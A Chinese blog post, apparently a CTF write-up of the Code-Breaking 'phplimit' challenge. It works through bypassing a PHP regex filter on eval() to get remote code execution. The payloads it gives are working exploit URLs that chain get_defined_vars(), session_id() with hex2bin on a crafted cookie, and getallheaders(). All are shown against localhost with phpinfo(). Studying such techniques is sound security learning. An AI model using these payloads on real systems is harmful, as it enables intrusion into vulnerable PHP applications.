最近在学习和总结代码审计的一些奇淫技巧,正好看到codebreaking上的题目,去年做的时候还是没什么头绪,所以准备完整学习总结下,预计会多写几篇这样的技巧记录,多学习一些tricks顺便还能开阔眼界。
示例背景
以codebreaking的phplimit题目为例,我们以实现RCE为目的来进行分析
题目代码
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
首先我们简单分析下正则部分
[^\W]的意思是包括所有数字字母和下划线,而((?R)?)表示重复进行整个模式
这意味着我们需要输入可以循环嵌套的字符串,也就意味着如果我们输入一个有参数的函数,将不会成功的匹配正则
所以输入点我们虽然可以输入函数,但是不能输入有参数的函数
下面讨论下bypass的方法
nginx下的利用
基于get_defined_vars()函数的利用
我们看一下该函数的官方文档
我们可以通过定义新的变量来控制该函数的返回值
例如下面这样
array(4) { ["_GET"]=> array(2) { ["yml"]=> string(4) "cool" ["code"]=> string(29) "var_dump(get_defined_vars());" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } }
我们可以使cool变成我们想要执行的代码,例如phpinfo();
http://127.0.0.1/demo5.php?yml=phpinfo();&code=var_dump(get_defined_vars());
然后我们现在要想办法将我们想执行的代码从数组中提取出来
用到下面几个函数
先用current函数取出get键值所对应的值
http://127.0.0.1/demo5.php?yml=phpinfo();&code=var_dump(current(get_defined_vars()));
然后再利用array_values函数
将数组的值重新组成一个数组
http://127.0.0.1/demo5.php?yml=phpinfo();&code=var_dump(array_values(current(get_defined_vars())));
再次利用current函数取出数组第一个值
http://127.0.0.1/demo5.php?yml=phpinfo();&code=var_dump(current(array_values(current(get_defined_vars()))));
将var_dump改成eval即可实现RCE
http://127.0.0.1/demo5.php?yml=phpinfo();&code=eval(current(array_values(current(get_defined_vars()))));
控制header头某些参数
我们可以控制header的某些参数来实现恶意代码的传输,这时我们需要利用code参数来传入一个获取header属性值的函数
head头中最常见的属性就是cookie了,我们可以利用session_id()这个函数
我们可以控制sessionid的值,然后用session_id()来获取sessionid
由于sessionid格式的限制,我们可以将想控制的参数转为16进制,然后在code处使用hex2bin函数将16进制数转字符串函数即可
我们实际测试一下
首先将phpinfo();转成16进制数
然后请求URL
http://127.0.0.1/demo5.php?code=eval(hex2bin(session_id()));
抓包修改cookie为phpinfo()的16进制
发现并没有执行phpinfo()
仔细分析我们的利用方式,通过对session机制的深入了解,在w3school发现了这个
此时更改我们请求的URL为
http://127.0.0.1/demo5.php?code=eval(hex2bin(session_id(session_start())));
再次进行上述操作,成功实现RCE
apache下的利用
当web服务器为apache时,nginx下的函数虽不能用,但是我们可以使用同样的思路,通过控制head头参数来实现RCE
我们可以使用getallheaders函数,来看一下官方文档
实际测试一下
http://127.0.0.1/demo5.php?code=var_dump(getallheaders());
返回信息
array(8) {
["Host"]=>
string(9) "127.0.0.1"
["User-Agent"]=>
string(73) "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"
["Accept"]=>
string(63) "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
["Accept-Language"]=>
string(35) "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"
["Accept-Encoding"]=>
string(13) "gzip, deflate"
["DNT"]=>
string(1) "1"
["X-Forwarded-For"]=>
string(9) "127.0.0.1"
["Connection"]=>
string(10) "keep-alive"
}
这样我们可以尝试控制host的值来传入我们的命令,如phpinfo();
为了将phpinfo();取出来,我们可以使用current函数
http://127.0.0.1/demo5.php?code=var_dump(current(getallheaders()));
将var_dump()改为eval()即实现RCE
http://127.0.0.1/demo5.php?code=eval(current(getallheaders()));
总结
虽然刚入手这一部分的知识感觉理解上很吃力,但是经过自己反复实际操作后,也弄清楚了很多细节,理清背景思路后回头思考会发现并没有那么困难,这也引发了我的一些思考,我们在平时学习某一块的知识时,不应该光看不做,只有实际操作后才会弄清很多细节,深刻理解这些技巧的精髓。